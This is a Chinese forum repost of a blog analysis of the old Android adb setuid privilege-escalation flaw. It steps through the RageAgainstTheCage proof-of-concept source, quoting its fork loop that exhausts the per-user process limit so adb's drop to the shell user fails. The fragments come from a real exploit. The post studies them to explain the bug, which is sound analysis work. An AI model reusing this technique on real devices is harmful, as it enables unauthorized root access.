几个月前写的。发在了我的博客上: becK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2U0L8r3q4#2k6s2S2A6j5h3!0Q4x3X3g2F1k6i4c8Q4x3V1j5J5x3o6p5I4i4K6u0r3x3o6c8Q4x3V1k6S2L8X3c8J5L8$3W2V1i4K6u0V1j5h3c8T1i4K6u0V1M7$3g2@1N6h3W2V1i4K6u0r3 前面有个帖子讨论到提权问题,所以转过来。 —————————————————————————— 去年的Android adb setuid提权漏洞被用于各类root刷机,漏洞发现人Sebastian Krahmer公布的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用于z4root等提权工具、Trojan.Android.Rootcager等恶意代码之中。下面我们来分析这一漏洞的产生原因。 The Android Exploid Crew小组在后来发布了一份PoC代码:rageagainstthecage.c。从这份代码开始着手。 在main(:72)函数中,首先获取了RLIMIT_NPROC的值(:83),这个值是Linux内核中定义的每个用户可以运行的最大进程数。 然后,调用find_adb()函数(:94)来搜索Android系统中adb进程的PID,具体而言,该函数读取每个进程对应的文件的/proc/<pid>/cmdline,根据其是否等于”/sbin/adb”来判断是否adb进程。 接下来,fork了一个新的进程(:109),父进程退出,而子进程继续。接下来,在113行创建一个管道。 rageagainstthecage.c
if (fork() > 0) exit(0); setsid(); pipe(pepe);
if (fork() == 0) { close(pepe[0]); for (;;) { if ((p = fork()) == 0) { exit(0); } else if (p < 0) { if (new_pids) { printf("\n[+] Forked %d childs.\n", pids); new_pids = 0; write(pepe[1], &c, 1); close(pepe[1]); } } else { ++pids; } } }
/* then switch user and group to "shell" */ if (setgid(AID_SHELL) != 0) { exit(1); } if (setuid(AID_SHELL) != 0) { exit(1); }
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课